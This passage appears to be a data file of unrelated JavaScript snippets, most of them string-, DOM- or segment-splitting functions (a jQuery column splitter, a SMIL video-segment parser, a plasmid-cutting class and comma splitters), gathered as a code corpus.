{\r\n\t\t\t\t\t\r\n\t\t\t\t\tvar $splitLineOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : 'bottom-in-view';\r\n\t\t\t\t\t$($fullscreenSelector + '.nectar-split-heading').each(function () {\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tvar $that = $(this);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tvar waypoint = new Waypoint({\r\n\t\t\t\t\t\t\telement: $that,\r\n\t\t\t\t\t\t\thandler: function () {\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tif ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('animated-in')) {\r\n\t\t\t\t\t\t\t\t\twaypoint.destroy();\r\n\t\t\t\t\t\t\t\t\treturn;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tif (!nectarDOMInfo.usingMobileBrowser || $('body[data-responsive=\"0\"]').length > 0) {\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t$that.find('.heading-line').each(function (i) {\r\n\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\t$(this).find('> div').delay(i * 70).transition({\r\n\t\t\t\t\t\t\t\t\t\t\t'y': '0px'\r\n\t\t\t\t\t\t\t\t\t\t}, $animationDuration, $animationEasing);\r\n\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t});\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t$that.addClass('animated-in');\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\twaypoint.destroy();\r\n\t\t\t\t\t\t\t},\r\n\t\t\t\t\t\t\toffset: $splitLineOffsetPos\r\n\t\t\t\t\t\t});\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t});\r\n\t\t\t\t}", "function splitString(stringToSplit,index) {\n var arrayOfStrings = stringToSplit.split(',');// ArrayOfString is an Array filled with the spitted String values \n\n// console.log('The original string is: \"' + stringToSplit + '\"');\n// console.log('The array has ' + arrayOfStrings.length + ' elements: '+arrayOfStrings[0] );\n return arrayOfStrings[index];\n}", "function parseInitialSMIL() {\n if (editor.parsedSmil) {\n ocUtils.log(\"Smil found. Parsing\");\n var insertedSplitItem = false;\n // check whether SMIL has already cutting points\n if (editor.parsedSmil.par) {\n editor.splitData.splits = [];\n editor.parsedSmil.par = ocUtils.ensureArray(editor.parsedSmil.par);\n var lastEnd = 0;\n $.each(editor.parsedSmil.par, function(key, value) {\n value.video = ocUtils.ensureArray(value.video);\n var clipBegin = (value && value.video[0] && value.video[0].clipBegin) ? (parseFloat(value.video[0].clipBegin) / 1000) : 0;\n var clipEnd = (value && value.video[0] && value.video[0].clipEnd) ? (parseFloat(value.video[0].clipEnd) / 1000) : getDuration();\n if ((clipBegin != undefined) && (clipEnd != undefined)) {\n if ((key > 0) && (lastEnd != clipBegin)) {\n ocUtils.log(\"Inserting a split element (1): (\" + lastEnd + \" - \" + clipBegin + \")\");\n editor.splitData.splits.push({\n clipBegin: parseFloat(lastEnd),\n clipEnd: parseFloat(clipBegin),\n enabled: false\n });\n }\n ocUtils.log(\"Inserting a split element (2): (\" + clipBegin + \" - \" + clipEnd + \")\");\n editor.splitData.splits.push({\n clipBegin: clipBegin,\n clipEnd: clipEnd,\n enabled: true\n });\n lastEnd = clipEnd;\n }\n });\n for (var i = 0; i < editor.splitData.splits.length; ++i) {\n if (checkPrevAndNext(i, false).inserted) {\n i = 0;\n }\n }\n\n // check last segment\n var duration = getDuration();\n if (editor.splitData.splits.length > 0) {\n var current = editor.splitData.splits[editor.splitData.splits.length - 1];\n if (current.clipEnd != duration) {\n if ((current.clipEnd < (duration - minSegmentLength)) || (current.clipEnd <= minSegmentLength)) {\n ocUtils.log(\"Inserting a last split element (auto): (\" + current.clipEnd + \" - \" + duration + \")\");\n var newLastItem = {\n clipBegin: parseFloat(current.clipEnd),\n clipEnd: duration,\n enabled: true\n };\n\n // add the new item to the end\n editor.splitData.splits.push(newLastItem);\n insertedLastItem = true;\n } else {\n ocUtils.log(\"Extending the last split element to (auto): (\" + current.clipBegin + \" - \" + duration + \")\");\n current.clipEnd = duration;\n }\n }\n } else {\n ocUtils.log(\"Inserting a split element (auto): (\" + 0 + \" - \" + duration + \")\");\n var newItem = {\n clipBegin: 0,\n clipEnd: duration,\n enabled: true\n };\n\n // add the new item\n editor.splitData.splits.push(newItem);\n }\n }\n\n ocUtils.log(\"Done parsing smil.\");\n } else {\n ocUtils.log(\"No smil found.\");\n if (editor.splitData && editor.splitData.splits) {\n var duration = editor.mediapackageParser.duration / 1000;\n ocUtils.log(\"Inserting a split element: (\" + 0 + \" - \" + duration + \")\");\n if (!insertedSplitItem) {\n editor.splitData.splits.push({\n clipBegin: 0,\n clipEnd: parseFloat(duration),\n enabled: true\n });\n }\n }\n }\n\n editor.splitData.splits[0].enabled = !insertedFirstItem;\n editor.splitData.splits[editor.splitData.splits.length - 1].enabled = !insertedLastItem;\n\n window.setTimeout(function() {\n if (!insertedFirstItem) {\n if (editor.splitData.splits.length == 1) {\n $('#splitSegmentItem-0').css('width', '100%');\n }\n $('#splitSegmentItem-0').click();\n } else {\n $('#splitSegmentItem-1').click();\n }\n }, initMS);\n prepareUI();\n}", "function splitString(stringToSplit, separator){\n var newStr = \"\";\n var arrayofStrings = \"\";\n var lastChar = stringToSplit.slice(-1);\n //check if last char is a \",\"\n if(lastChar == ','){\n newStr = stringToSplit.substring(0, stringToSplit.length-1); //remove last character\n newEvaluation = checkEmptyItems(newStr);\n $scope.evaluation = newEvaluation; // update input text\n arrayofStrings = newEvaluation.split(separator);\n }else{\n newStr = stringToSplit;\n newEvaluation = checkEmptyItems(newStr);\n $scope.evaluation = newEvaluation; // update input text\n arrayofStrings = newEvaluation.split(separator);\n }\n return arrayofStrings.length;\n }", "function split(parsed){\n\tvar ret = [];\n\tvar chunk = [];\n\tfor(var i=0; i<parsed.length; i++){\n\n\t\tvar item = parsed[i];\n\t\tvar flags = item.flags;\n\t\t\n\t\tfor(var f=0; f<flags.length; f++){\n\t\t\tvar flagList = flags[f];\n\t\t\tif(spliton.indexOf(flagList.flag) > -1){\n\t\t\t\tif(chunk.length){\n\t\t\t\t\t//ret.push(chunk.slice());\n\t\t\t\t\tret.push(chunk);\n\t\t\t\t\tchunk = [];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tchunk.push(item);\n\t\t\n\t}\n\n\t//ret.push(chunk.slice());\n\tret.push(chunk);\n\n\treturn ret;\n}", "static get type() {\n return 'splitter';\n }", "function split($putInHere, $pullOutHere, $parentColumn, targetHeight) {\n if ($putInHere.contents(':last').\n find(prefixTheClassName('columnbreak', true)).length) {\n //\n // our column is on a column break, so just end here\n return;\n }\n if ($putInHere.contents(':last').\n hasClass(prefixTheClassName('columnbreak'))) {\n //\n // our column is on a column break, so just end here\n return;\n }\n if ($pullOutHere.contents().length) {\n var $cloneMe = $pullOutHere.contents(':first');\n //\n // make sure we're splitting an element\n if (typeof $cloneMe.get(0) == 'undefined' ||\n $cloneMe.get(0).nodeType != 1) return;\n\n //\n // clone the node with all data and events\n var $clone = $cloneMe.clone(true);\n //\n // need to support both .prop and .attr if .prop doesn't exist.\n // this is for backwards compatibility with older versions of jquery.\n if ($cloneMe.hasClass(prefixTheClassName('columnbreak'))) {\n //\n // ok, we have a columnbreak, so add it into\n // the column and exit\n appendSafe($putInHere, $clone);\n $cloneMe.remove();\n } else if (manualBreaks) {\n // keep adding until we hit a manual break\n appendSafe($putInHere, $clone);\n $cloneMe.remove();\n } else if ($clone.get(0).nodeType == 1 &&\n !$clone.hasClass(prefixTheClassName('dontend'))) {\n appendSafe($putInHere, $clone);\n if ($clone.is('img') && $parentColumn.height() < targetHeight +\n 20) {\n //\n // we can't split an img in half, so just add it\n // to the column and remove it from the pullOutHere section\n $cloneMe.remove();\n } else if ($cloneMe.hasClass(prefixTheClassName('dontsplit')) &&\n $parentColumn.height() < targetHeight + 20) {\n //\n // pretty close fit, and we're not allowed to split it, so just\n // add it to the column, remove from pullOutHere, and be done\n $cloneMe.remove();\n } else if ($clone.is('img') ||\n $cloneMe.hasClass(prefixTheClassName('dontsplit'))) {\n //\n // it's either an image that's too tall, or an unsplittable node\n // that's too tall. leave it in the pullOutHere and we'll add it to the\n // next column\n $clone.remove();\n } else {\n //\n // ok, we're allowed to split the node in half, so empty out\n // the node in the column we're building, and start splitting\n // it in half, leaving some of it in pullOutHere\n $clone.empty();\n if (!columnize($clone, $cloneMe, $parentColumn, targetHeight)) {\n // this node may still have non-text nodes to split\n // add the split class and then recur\n $cloneMe.addClass(prefixTheClassName('split'));\n\n //if this node was ol element, the child should continue the number ordering\n if ($cloneMe.get(0).tagName == 'OL') {\n var startWith = $clone.get(0).childElementCount +\n $clone.get(0).start;\n $cloneMe.attr('start', startWith + 1);\n }\n\n if ($cloneMe.children().length) {\n split($clone, $cloneMe, $parentColumn, targetHeight);\n }\n } else {\n // this node only has text node children left, add the\n // split class and move on.\n $cloneMe.addClass(prefixTheClassName('split'));\n }\n if ($clone.get(0).childNodes.length === 0) {\n // it was split, but nothing is in it :(\n $clone.remove();\n $cloneMe.removeClass(prefixTheClassName('split'));\n } else if ($clone.get(0).childNodes.length == 1) {\n // was the only child node a text node w/ whitespace?\n var onlyNode = $clone.get(0).childNodes[0];\n if (onlyNode.nodeType == 3) {\n // text node\n var nonwhitespace = /\\S/;\n var str = onlyNode.nodeValue;\n if (!nonwhitespace.test(str)) {\n // yep, only a whitespace textnode\n $clone.remove();\n // $cloneMe.removeClass(prefixTheClassName(\"split\"));\n }\n }\n }\n }\n }\n }\n }", "splitCodeWord(ds, blk, count) {\n let ds1 = [];\n for (let i = 0; i < count; i++) {\n ds1.push(ds[blk][i]);\n }\n return ds1;\n }", "function Plasmid(bioBrickParts, backBoneParts, backBone){\n this.bioBrickParts = bioBrickParts;\n this.backBoneParts = backBoneParts;\n this.backBone = backBone;\n \n \n this.cut = function (siteSelection, candidatePlasmids){\n //convert Array to String for editability\n var tmpPlasmidString = new String(\"\");\n for(var i=0; i<this.bioBrickParts.length; ++i){\n tmpPlasmidString += this.bioBrickParts[i];\n }\n \n console.log(tmpPlasmidString);\n if(siteSelection.e){\n tmpPlasmidString=tmpPlasmidString.replace(\"E\", \"EnE\");\n }\n if(siteSelection.x){\n tmpPlasmidString=tmpPlasmidString.replace(\"X\", \"XnX\");\n }\n if(siteSelection.s){\n tmpPlasmidString=tmpPlasmidString.replace(\"S\", \"SnS\");\n }\n if(siteSelection.p){\n tmpPlasmidString=tmpPlasmidString.replace(\"P\", \"PnP\");\n }\n console.log(tmpPlasmidString);\n while(tmpPlasmidString.match(/n[EXSP]n/) != null){\n tmpPlasmidString = tmpPlasmidString.replace(/n[EXSP]n/, \"n\");\n }\n console.log(tmpPlasmidString);\n newPlasmidStrings = tmpPlasmidString.split(\"n\");\n console.log(newPlasmidStrings);\n //tweak Stirngs considering backBone\n if(this.backBone && newPlasmidStrings[0].indexOf(\"E\")==0 &&\n newPlasmidStrings[newPlasmidStrings.length-1].indexOf(\"P\") == (newPlasmidStrings[newPlasmidStrings.length-1].length) -1){\n console.log(\"need backBoneLiagtion\");\n newPlasmidStrings[0] = newPlasmidStrings[0] + \"n\" + newPlasmidStrings[newPlasmidStrings.length-1];\n newPlasmidStrings.splice(newPlasmidStrings.length-1, 1);\n }\n //delete inappropriate pieces(less than 3 length)\n for(var i = 0; i<newPlasmidStrings.length; ++i){\n if(newPlasmidStrings[i].length < 3){newPlasmidStrings.splice(i, 1);}\n }\n console.log(newPlasmidStrings);\n \n for(var i=0; i<newPlasmidStrings.length; ++i){\n var tmpBackBone = false;\n var tmpBackBoneParts;\n var tmpBioBrickParts = new Array();\n if(i==0 && this.backBone){\n tmpBackBoneParts = this.backBoneParts;\n tmpBackBone = true;\n }\n for(var j=0; j<newPlasmidStrings[i].length; ++j){\n tmpBioBrickParts.push(newPlasmidStrings[i].charAt(j));\n }\n candidatePlasmids.push(new Plasmid(tmpBioBrickParts, tmpBackBoneParts, tmpBackBone));\n }\n console.log(\"candidates number: %d\", candidatePlasmids.length);\n }\n \n \n this.getLength= function(){\n var partsLength = 0;\n for(var i=0; i<this.bioBrickParts.length; ++i){\n var tmpString = this.bioBrickParts[i];\n switch(tmpString){\n case \"E\":\n case \"X\":\n case \"S\":\n case \"P\":\n case \"M\":\n break;\n case \"b\":\n partsLength++;\n break;\n case \"n\":\n partsLength+=2;\n break;\n default:\n partsLength += 2+2*parseInt(tmpString);\n }\n }\n if(this.backBone){partsLength+=4;};\n partsLength *= 16;\n console.log(\"getLength returned %d\", partsLength);\n return partsLength;\n };\n \n this.render =function(context, box){\n context.save();\n if(this.backBone){\n context.translate(box.x+32, box.y+32);\n }else{\n context.translate(box.x, box.y+56);\n }\n \n var partsLength = 0;\n for(var i=0; i<this.bioBrickParts.length; ++i){\n var tmpString = this.bioBrickParts[i];\n switch(tmpString){\n case \"E\":\n case \"X\":\n case \"S\":\n case \"P\":\n case \"M\":\n break;\n case \"b\":\n partsLength++;\n break;\n case \"n\":\n partsLength+=2;\n break;\n default:\n partsLength += 2+2*parseInt(tmpString);\n }\n }\n partsLength *= 16;\n //console.log(\"partsLength = %d\", partsLength);\n \n //Draw plasmid backbone;\n if(this.backBone){\n context.lineWidth = 2.5;\n context.beginPath();\n context.arc(32, 64, 32, -0.5 * Math.PI, -1.5 * Math.PI, true);\n context.arc(32+partsLength, 64, 32, -1.5 * Math.PI, -0.5 * Math.PI, true);\n context.stroke();\n }\n \n //Draw Parts\n var tmpX = 32;\n for(var i=0; i<this.bioBrickParts.length; ++i){\n var tmpString = this.bioBrickParts[i];\n switch(tmpString){\n case \"E\":\n case \"X\":\n case \"S\":\n case \"P\":\n case \"M\":\n context.fillStyle = \"rgb(0,0,0)\"\n if(tmpString == \"M\") {context.fillStyle = \"rgb(192,192,192)\";}\n context.font = \"18px Futura\";\n context.textAlign = \"center\"\n context.fillText(tmpString, tmpX, 16);\n context.lineWidth = 1;\n context.beginPath();\n context.moveTo(tmpX, 24);\n context.lineTo(tmpX, 40);\n context.stroke();\n break;\n case \"b\":\n context.lineWidth = 2.5;\n context.moveTo(tmpX, 32);\n context.lineTo(tmpX+16, 32);\n context.stroke();\n tmpX+=16;\n break;\n case \"n\":\n tmpX+=32;\n break;\n default:\n context.lineWidth = 2.5;\n context.moveTo(tmpX, 32);\n context.lineTo(parseInt(tmpString)*32+tmpX+32, 32);\n context.stroke();\n switch(tmpString){\n case \"1\":\n context.fillStyle = \"rgb(255, 128, 192)\";\n break;\n case \"2\":\n context.fillStyle = \"rgb(63, 169, 245)\";\n break;\n case \"3\":\n context.fillStyle = \"rgb(251, 176, 59)\";\n break;\n default:\n context.fillStyle = \"rgb(128, 128, 128)\";\n break;\n }\n context.fillRect(tmpX+16, 16, parseInt(tmpString)*32, 32);\n tmpX += 16+parseInt(tmpString)*32+16;\n }\n }\n \n context.restore();\n }\n\n}", "function uusplitcomma(source) { // @param String: \",,, ,,A,,,B,C,, \"\r\n // @return Array: [\"A\", \"B\", \"C\"]\r\n return source.replace(uusplit._MANY_COMMAS, \",\").\r\n replace(uusplit._TRIM_SPACE_AND_COMMAS, \"\").split(\",\");\r\n}", "function split_data(obj) \n{\n\t\n\tconsole.log(\"in split data\" + obj);\n\tvar after_split = obj.split(', ');\n\t\n\tvar new_str = \"\";\n\tfor (var i = 0; i < after_split.length; i++) \n\t{\n\t\tif (i!=after_split.length-1)\n\t\t\t{\n\t\t\t\tconsole.log(\"newwwwwwwww\"+after_split[i]);\n\t\t\t\tnew_str += \"<a href='./SingleStar?name=\" + after_split[i] + \"'>\"+after_split[i]+\"</a>,\"\n\t\t\t\tconsole.log(\"newwwwwwwww\"+new_str);\n\t\t\t}\n\t\telse\n\t\t\t{\n\t\t\t\tnew_str += \"<a href='./SingleStar?name=\" + after_split[i] + \"'>\"+after_split[i] +\"</a>\"\n\t\t\t\tconsole.log(\"newwwwwwwww\"+new_str);\n\t\t\t}\n\t}\n\t\n\treturn new_str;\n\t\n}", "function split_data(obj) \n{\n\t\n\tconsole.log(\"in split data\" + obj);\n\tvar after_split = obj.split(', ');\n\t\n\tvar new_str = \"\";\n\tfor (var i = 0; i < after_split.length; i++) \n\t{\n\t\tif (i!=after_split.length-1)\n\t\t\t{\n\t\t\t\tconsole.log(\"newwwwwwwww\"+after_split[i]);\n\t\t\t\tnew_str += \"<a href='./SingleStar?name=\" + after_split[i] + \"'>\"+after_split[i]+\"</a>,\"\n\t\t\t\tconsole.log(\"newwwwwwwww\"+new_str);\n\t\t\t}\n\t\telse\n\t\t\t{\n\t\t\t\tnew_str += \"<a href='./SingleStar?name=\" + after_split[i] + \"'>\"+after_split[i] +\"</a>\"\n\t\t\t\tconsole.log(\"newwwwwwwww\"+new_str);\n\t\t\t}\n\t}\n\t\n\treturn new_str;\n\t\n}", "function split(left, right) {\n // console.log('Split ' + left + \" \" + right)\n var middle = Math.floor((right + left) / 2);\n\n if (middle > left) {\n split(left, middle);\n split(middle + 1, right);\n }\n merge(left, middle, right)\n }", "split(uk) {\r\n let left = this.clone();\r\n let right = this.clone();\r\n left.reparam(0, uk);\r\n right.reparam(uk, 1);\r\n return [left, right];\r\n }", "splitAfterComma(sentence, chunkArray) {\n \tvar commaSplit = sentence.split(\", \");\n \tif (commaSplit.length > 2) {\n \t\tfor (var i = 0; i <= commaSplit.length - 1; i++) {\n \t if (commaSplit[i].split(\" \").length < 5 && i!==(commaSplit.length - 1)) {\n \t \tcommaSplit[i+1] = commaSplit[i] + \", \" + commaSplit[i+1];\n commaSplit.splice(i, 1);\n \t\t\t}\n \t\t}\n \t\tif (commaSplit.length === 2) {\n \t\t\tchunkArray.push(commaSplit[0] + \", \");\n \t\t\tchunkArray.push(commaSplit[1]);\n return chunkArray;\n \t\t}\n \t}\n \telse {\n \t\tvar firstSegment = commaSplit[0] + \",\";\n \t\tchunkArray.push(firstSegment);\n \t\tchunkArray.push(commaSplit[1]);\n return chunkArray;\n \t}\n }", "function inPlaceTextSplit() {\n var parent = this.parentNode;\n var insertionPoint = this.nextSibling;\n var lines = $(this).text().split(separator);\n if (lines.length > 1) {\n for(var i = 0; i < lines.length; i++) {\n if (i > 0) {\n parent.insertBefore(document.createElement('br'), insertionPoint);\n }\n parent.insertBefore(document.createTextNode(lines[i]), insertionPoint);\n }\n parent.removeChild(this);\n }\n }", "function divideInArray(elenco){\n return parola=elenco.split(\" \");\n}", "function CodeSplittingPhase(productionContext) {\n // loop over all modules to extract the modules that can be splitted\n const splitEntries = [];\n for (const possibleSplitEntry of productionContext.modules) {\n if (!possibleSplitEntry.isEntry && possibleSplitEntry.pkg.type === package_1.PackageType.USER_PACKAGE) {\n // check if the current module is only imported through\n // dynamic imports\n const isDynamic = resolveDynamicImport(possibleSplitEntry);\n if (isDynamic) {\n // resolve the complete tree for this module and add it\n // to the split entries\n splitEntries.push(possibleSplitEntry);\n productionContext.splitEntries.ids[possibleSplitEntry.id] = true;\n }\n }\n }\n // we needed to traverse all modules first to improve splitEntry resolvement\n // so now we can parse all dynamicModules that we found.\n for (const splitEntry of splitEntries) {\n productionContext.splitEntries.register(resolveSplitEntry(productionContext, splitEntry));\n }\n}", "function split(inputLine: string, separator: string, limit: number): string[] {\n const line = inputLine.replace(/ +/g, \" \");\n const firstSplit = line.split(separator);\n const remainingSplits = firstSplit.slice(0, limit);\n remainingSplits.push(firstSplit.slice(limit).join(separator));\n return remainingSplits;\n}", "function splitRemoverClick() {\n if (!continueProcessing) {\n item = $(this);\n var id = item.prop('id');\n if (id != undefined) {\n id = id.replace(\"splitItem-\", \"\");\n id = id.replace(\"splitRemover-\", \"\");\n id = id.replace(\"splitAdder-\", \"\");\n } else {\n id = \"\";\n }\n if (id == \"\" || id == \"deleteButton\") {\n id = $('#splitUUID').val();\n }\n id = parseInt(id);\n if (editor.splitData && editor.splitData.splits && editor.splitData.splits[id]) {\n if (editor.splitData.splits[id].enabled) {\n $('#splitItemDiv-' + id).addClass('disabled');\n $('#splitRemover-' + id).hide();\n $('#splitAdder-' + id).show();\n $('.splitItem').removeClass('splitItemSelected');\n setEnabled(id, false);\n if (!zoomedIn()) {\n if (getCurrentSplitItem().id == id) {\n // if current split item is being deleted:\n // try to select the next enabled segment, if that fails try to select the previous enabled item\n var sthSelected = false;\n for (var i = id; i < editor.splitData.splits.length; ++i) {\n if (editor.splitData.splits[i].enabled) {\n sthSelected = true;\n selectSegmentListElement(i, true);\n break;\n }\n }\n if (!sthSelected) {\n for (var i = id; i >= 0; --i) {\n if (editor.splitData.splits[i].enabled) {\n sthSelected = true;\n selectSegmentListElement(i, true);\n break;\n }\n }\n }\n }\n selectCurrentSplitItem();\n }\n } else {\n $('#splitItemDiv-' + id).removeClass('disabled');\n $('#splitRemover-' + id).show();\n $('#splitAdder-' + id).hide();\n setEnabled(id, true);\n }\n }\n cancelButtonClick();\n }\n}", "function separateFromMMGIS() {}", "function separateFromMMGIS() {}", "function get_splits(){\n let splits;\n switch(THREAD){\n case THREADS.BACKWARDS:\n splits = ['900','800','700','600','500','400','300','200','100','000'];\n break;\n case THREADS.BASE2:\n splits = ['0010000000','0100000000','0110000000','1000000000','1010000000','1100000000','1110000000','0000000000']\n break;\n case THREADS.BASE3:\n splits = ['010000','020000','100000','110000','120000','200000','210000','220000','000000']\n break;\n case THREADS.BASE4:\n splits = ['02000','10000','12000','20000','22000','30000','32000','00000']\n break;\n default:\n splits = ['100','200','300','400','500','600','700','800','900','000'];\n break;\n }\n return splits;\n}", "function split($putInHere, $pullOutHere, $parentColumn, targetHeight){\n\t\t\tif($putInHere.contents(\":last\").find(prefixTheClassName(\"columnbreak\", true)).length){\n\t\t\t\t//\n\t\t\t\t// our column is on a column break, so just end here\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif($putInHere.contents(\":last\").hasClass(prefixTheClassName(\"columnbreak\"))){\n\t\t\t\t//\n\t\t\t\t// our column is on a column break, so just end here\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif($pullOutHere.contents().length){\n\t\t\t\tvar $cloneMe = $pullOutHere.contents(\":first\");\n\t\t\t\t//\n\t\t\t\t// make sure we're splitting an element\n\t\t\t\tif($cloneMe.get(0).nodeType != 1) return;\n\n\t\t\t\t//\n\t\t\t\t// clone the node with all data and events\n\t\t\t\tvar $clone = $cloneMe.clone(true);\n\t\t\t\t//\n\t\t\t\t// need to support both .prop and .attr if .prop doesn't exist.\n\t\t\t\t// this is for backwards compatibility with older versions of jquery.\n\t\t\t\tif($cloneMe.hasClass(prefixTheClassName(\"columnbreak\"))){\n\t\t\t\t\t//\n\t\t\t\t\t// ok, we have a columnbreak, so add it into\n\t\t\t\t\t// the column and exit\n\t\t\t\t\t$putInHere.append($clone);\n\t\t\t\t\t$cloneMe.remove();\n\t\t\t\t}else if (manualBreaks){\n\t\t\t\t\t// keep adding until we hit a manual break\n\t\t\t\t\t$putInHere.append($clone);\n\t\t\t\t\t$cloneMe.remove();\n\t\t\t\t}else if($clone.get(0).nodeType == 1 && !$clone.hasClass(prefixTheClassName(\"dontend\"))){\n\t\t\t\t\t$putInHere.append($clone);\n\t\t\t\t\tif($clone.is(\"img\") && $parentColumn.height() < targetHeight + 20){\n\t\t\t\t\t\t//\n\t\t\t\t\t\t// we can't split an img in half, so just add it\n\t\t\t\t\t\t// to the column and remove it from the pullOutHere section\n\t\t\t\t\t\t$cloneMe.remove();\n\t\t\t\t\t}else if(!$cloneMe.hasClass(prefixTheClassName(\"dontsplit\")) && $parentColumn.height() < targetHeight + 20){\n\t\t\t\t\t\t//\n\t\t\t\t\t\t// pretty close fit, and we're not allowed to split it, so just\n\t\t\t\t\t\t// add it to the column, remove from pullOutHere, and be done\n\t\t\t\t\t\t$cloneMe.remove();\n\t\t\t\t\t}else if($clone.is(\"img\") || $cloneMe.hasClass(prefixTheClassName(\"dontsplit\"))){\n\t\t\t\t\t\t//\n\t\t\t\t\t\t// it's either an image that's too tall, or an unsplittable node\n\t\t\t\t\t\t// that's too tall. leave it in the pullOutHere and we'll add it to the \n\t\t\t\t\t\t// next column\n\t\t\t\t\t\t$clone.remove();\n\t\t\t\t\t}else{\n\t\t\t\t\t\t//\n\t\t\t\t\t\t// ok, we're allowed to split the node in half, so empty out\n\t\t\t\t\t\t// the node in the column we're building, and start splitting\n\t\t\t\t\t\t// it in half, leaving some of it in pullOutHere\n\t\t\t\t\t\t$clone.empty();\n\t\t\t\t\t\tif(!columnize($clone, $cloneMe, $parentColumn, targetHeight)){\n\t\t\t\t\t\t\t// this node still has non-text nodes to split\n\t\t\t\t\t\t\t// add the split class and then recur\n\t\t\t\t\t\t\t$cloneMe.addClass(prefixTheClassName(\"split\"));\n\t\t\t\t\t\t\tif($cloneMe.children().length){\n\t\t\t\t\t\t\t\tsplit($clone, $cloneMe, $parentColumn, targetHeight);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t// this node only has text node children left, add the\n\t\t\t\t\t\t\t// split class and move on.\n\t\t\t\t\t\t\t$cloneMe.addClass(prefixTheClassName(\"split\"));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif($clone.get(0).childNodes.length === 0){\n\t\t\t\t\t\t\t// it was split, but nothing is in it :(\n\t\t\t\t\t\t\t$clone.remove();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}", "function split($putInHere, $pullOutHere, $parentColumn, targetHeight){\n\t\t\tif($putInHere.contents(\":last\").find(prefixTheClassName(\"columnbreak\", true)).length){\n\t\t\t\t//\n\t\t\t\t// our column is on a column break, so just end here\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif($putInHere.contents(\":last\").hasClass(prefixTheClassName(\"columnbreak\"))){\n\t\t\t\t//\n\t\t\t\t// our column is on a column break, so just end here\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif($pullOutHere.contents().length){\n\t\t\t\tvar $cloneMe = $pullOutHere.contents(\":first\");\n\t\t\t\t//\n\t\t\t\t// make sure we're splitting an element\n\t\t\t\tif($cloneMe.get(0).nodeType != 1) return;\n\n\t\t\t\t//\n\t\t\t\t// clone the node with all data and events\n\t\t\t\tvar $clone = $cloneMe.clone(true);\n\t\t\t\t//\n\t\t\t\t// need to support both .prop and .attr if .prop doesn't exist.\n\t\t\t\t// this is for backwards compatibility with older versions of jquery.\n\t\t\t\tif($cloneMe.hasClass(prefixTheClassName(\"columnbreak\"))){\n\t\t\t\t\t//\n\t\t\t\t\t// ok, we have a columnbreak, so add it into\n\t\t\t\t\t// the column and exit\n\t\t\t\t\t$putInHere.append($clone);\n\t\t\t\t\t$cloneMe.remove();\n\t\t\t\t}else if (manualBreaks){\n\t\t\t\t\t// keep adding until we hit a manual break\n\t\t\t\t\t$putInHere.append($clone);\n\t\t\t\t\t$cloneMe.remove();\n\t\t\t\t}else if($clone.get(0).nodeType == 1 && !$clone.hasClass(prefixTheClassName(\"dontend\"))){\n\t\t\t\t\t$putInHere.append($clone);\n\t\t\t\t\tif($clone.is(\"img\") && $parentColumn.height() < targetHeight + 20){\n\t\t\t\t\t\t//\n\t\t\t\t\t\t// we can't split an img in half, so just add it\n\t\t\t\t\t\t// to the column and remove it from the pullOutHere section\n\t\t\t\t\t\t$cloneMe.remove();\n\t\t\t\t\t}else if(!$cloneMe.hasClass(prefixTheClassName(\"dontsplit\")) && $parentColumn.height() < targetHeight + 20){\n\t\t\t\t\t\t//\n\t\t\t\t\t\t// pretty close fit, and we're not allowed to split it, so just\n\t\t\t\t\t\t// add it to the column, remove from pullOutHere, and be done\n\t\t\t\t\t\t$cloneMe.remove();\n\t\t\t\t\t}else if($clone.is(\"img\") || $cloneMe.hasClass(prefixTheClassName(\"dontsplit\"))){\n\t\t\t\t\t\t//\n\t\t\t\t\t\t// it's either an image that's too tall, or an unsplittable node\n\t\t\t\t\t\t// that's too tall. leave it in the pullOutHere and we'll add it to the \n\t\t\t\t\t\t// next column\n\t\t\t\t\t\t$clone.remove();\n\t\t\t\t\t}else{\n\t\t\t\t\t\t//\n\t\t\t\t\t\t// ok, we're allowed to split the node in half, so empty out\n\t\t\t\t\t\t// the node in the column we're building, and start splitting\n\t\t\t\t\t\t// it in half, leaving some of it in pullOutHere\n\t\t\t\t\t\t$clone.empty();\n\t\t\t\t\t\tif(!columnize($clone, $cloneMe, $parentColumn, targetHeight)){\n\t\t\t\t\t\t\t// this node still has non-text nodes to split\n\t\t\t\t\t\t\t// add the split class and then recur\n\t\t\t\t\t\t\t$cloneMe.addClass(prefixTheClassName(\"split\"));\n\t\t\t\t\t\t\tif($cloneMe.children().length){\n\t\t\t\t\t\t\t\tsplit($clone, $cloneMe, $parentColumn, targetHeight);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t// this node only has text node children left, add the\n\t\t\t\t\t\t\t// split class and move on.\n\t\t\t\t\t\t\t$cloneMe.addClass(prefixTheClassName(\"split\"));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif($clone.get(0).childNodes.length === 0){\n\t\t\t\t\t\t\t// it was split, but nothing is in it :(\n\t\t\t\t\t\t\t$clone.remove();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}", "function 